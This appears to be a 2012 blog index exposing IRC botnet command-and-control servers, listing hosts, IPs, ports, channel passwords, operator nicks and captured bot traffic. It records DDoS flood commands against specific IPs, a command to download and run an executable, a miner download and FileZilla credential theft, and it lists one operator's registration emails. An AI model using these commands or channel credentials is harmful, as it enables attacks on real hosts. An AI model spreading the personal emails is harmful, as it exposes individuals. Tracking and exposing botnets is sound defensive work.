vp.ksaxchat.net resolved to 64.191.37.206 Server: vp.ksaxchat.net Port: 6662 Channel: #ny Channel password: ngrBot Authhost: @nyg Opers: KV (inm@nyg) xE (XQ@nyg) kk Some floods: xE !ssyn 76.164.192.130 443 50 xE !ssyn 76.164.192.130 80 50 KV !ssyn 199.59.161.41 2000 3600 Hosting infos: http://whois.domaintools.com/64.191.37.206
nukebooter.no-ip.info (Ircbots hosted by United Kingdom Kendal Webfusion Internet Solutions)
Resolved nukebooter.no-ip.info to 92.60.118.183 Server: nukebooter.no-ip.info Port: 3179 Channel: #hostbooter# Nick: {RO|W7-32u}uahlzjr Channel: #XBL# Nick: [IND][7][36158] Channel: #overkill# Nick: [IND][7][36158] Channel: #Asper# Nick: [iNtoXiC|ITA|WIN7|1637196] Channel: #NukeBot# Nick: rzbxry Channel: #BotBank# Nick: [UnitedStates-English[UnitedSt Host: [Administrator] (Admin@ActivateBots): Administrator Also phpbots Visit http://freewebcamschats.com/cb.php, http://184.73.65.155/cb.php, http://www.tutorat-psy.fr/cb.php join #hostbooter# say .login ddos say .udpflood 92.60.118.183 3179 20 tada Hosting infos:Read more...
Mystical Megapost (Botnets of all types) (Hosted by Ukraine Ukrainian Internet Names Center Ltd and Netherlands Maasdijk Worldstream)
As Mystical has now recently been banned from hackforums, I thought I would make an informative megapost of botnets he has or is currently using. Domains Bighecker.co 1212Mystic0801.info Sonic4us.com Sonic4me.com img196-imageshack.us rs-booter.com modtech360.info 307dice.com powerbot24.com img90-imageshack.com imageshells.com bighecks.net emails used for registration hlolgame@aim.com mikeydoc@hotmail.com #plug this into facebook to see his profile highroller098765@hotmail.com mikeshosting@yahoo.com bram.fadzulani@mail.comRead more...
vandersand.no-ip.biz (Insomnia ircbot hosted by United States Clarks Summit Volumedrive)
Resolved vandersand.no-ip.biz to 199.115.230.138 Server: vandersand.no-ip.biz Port: 6654 Channel: #Insomnia Channel password: frosty * Topic for #Insomnia is: .up hxxps://dl.dropbox.com/u/21829907/botseller.exe 449C6FB8390C7148B075A52EBEBAB4F5 * Topic for #Insomnia set by lucky at Thu Sep 06 22:08:10 2012 Botnick: {IT|XP-32a}uwryxvf While I was in the channel he downloaded a bitcoin miner Dextermania.exe hxxp://versx.net/x/bcm/bitcoin-miner.exe http://pool.bitclockers.com:8332 -u Dexter -p 19930924 HostingRead more...
hacking-scene.ru (Athena ircbot hosted by Romania Voxility S.r.l.)
Still more Athena bots Resolved hacking-scene.ru to 109.163.233.110 Server: hacking-scene.ru Port: 34791 Password: 31337gAlAg23gnmbx331 Channel: #mafia Password: hellas #mafia 31 [+smntVMCuTk] Current Global Users: 31 Max: 269 Hosting infos: http://whois.domaintools.com/109.163.233.110
cmjc.no-ip.biz (Athena ircbot hosted by France Roubaix Ovh Systems)
Found more athena nets Resolved cmjc.no-ip.biz to 5.39.44.120 Server: cmjc.no-ip.biz Port: 6667 Channel: #kam #kam 14 [+smntrVCT] Channel: #vanrikki Password: wiitasauce3991 #vanrikki 44 [+sntrVCTk] Server is one of those used by cmjc.whhcd.info I’m not sure why they used a no-ip for these bots, anyone can get that suspended easily. The servers host lots of skids,Read more...
cmjc.whhcd.info (Athena ircbot hosted by France Roubaix Ovh Systems)
Resolved cmjc.whhcd.info to 5.39.44.120 Resolved cmjc.whhcd.info to 176.31.33.45 Resolved cmjc.whhcd.info to 46.105.36.229 Server: cmjc.whhcd.info Port: 6667 Channel: #MuustaHF Channel password: hejij3cdp Opers:Ddos * [Ddos] (Ddos@I.Will.DDOS.Your.Ass): Ddos * [Ddos] is a registered nick * [Ddos] services.whhcd.info :Services for IRC Networks * [Ddos] idle 158:10:19, signon: Wed Aug 29 23:26:30 * [Ddos] End of WHOIS list. MuustaHFRead more...
deuxexhre.org (ngrbot hosted by Romania Voxility)
deuxexhre.org resolved to 37.221.160.38 Server: deuxexhre.org Port: 1090 Password: romeo Channel: ##str Channel Password: romeo Channel topic: * Topic for ##str is: *mdns http://alfonsoelpidio.com/hosts * Topic for ##str set by drek0 at Wed Aug 29 11:22:21 2012 Bot sample from http://oberheimdmx.blogspot.co.uk/2012/08/dorkbot-falso-mensaje-de-amorenlinea.html Hosting infos: http://whois.domaintools.com/37.221.160.38
m74.zapto.org (Ragebot hosted by Germany Nuremberg Hetzner Online Ag)
m74.zapto.org resolved to 78.47.200.71Server: m74.zapto.orgPort: 6667Channel: #guerraBotnick: jorg3-HmlwqTUaTopic: * Topic for #guerra is: .jorge 200 200 189* Topic for #guerra set by Jorgee at Sat Sep 01 00:48:08 2012 #guerra 61 [+smtu] .jorge 200 200 189 Other channel #c0ntr0l (autojoined on connect)#c0ntr0l 242 [+smtu] #s Oper hangout * [Jorgee] (vxbzisp@jorge.c): vxbzisp * [Jorgee] @#guerra @#s #c0ntr0lRead more...
kca.hopto.org (ngrbot and iRooT bot hosted by Turkey Balikesir Turk Telekomunikasyon Anonim Sirketi)
KCA botnet found by xDrulz (all logs come from him)kca.hopto.org resolved to 88.255.116.48Server: kca.hopto.orgPort:1453Channel: #KCAPassword: KCABotnick: {US|XP-32a}dwqeivt Channel: #XXXPassword: KCABotnick: [iRooT-XP-USA]959715 Other channels #s #XX #Okey * Retrieving #Okey modes…[14:21:06] * irc.ciftokey.com sets mode: +o Cihan[14:22:31] <Cihan> .udp 91.229.35.79 5050 5[14:49:34] <Cihan> .visit http://www.avdeposu.com.tr Stealing ftp passwords [19:32] <IRC> {US|XP-32a}dwqeivt: FileZilla -> 7 ser5.scottdalehosting5.com –Read more...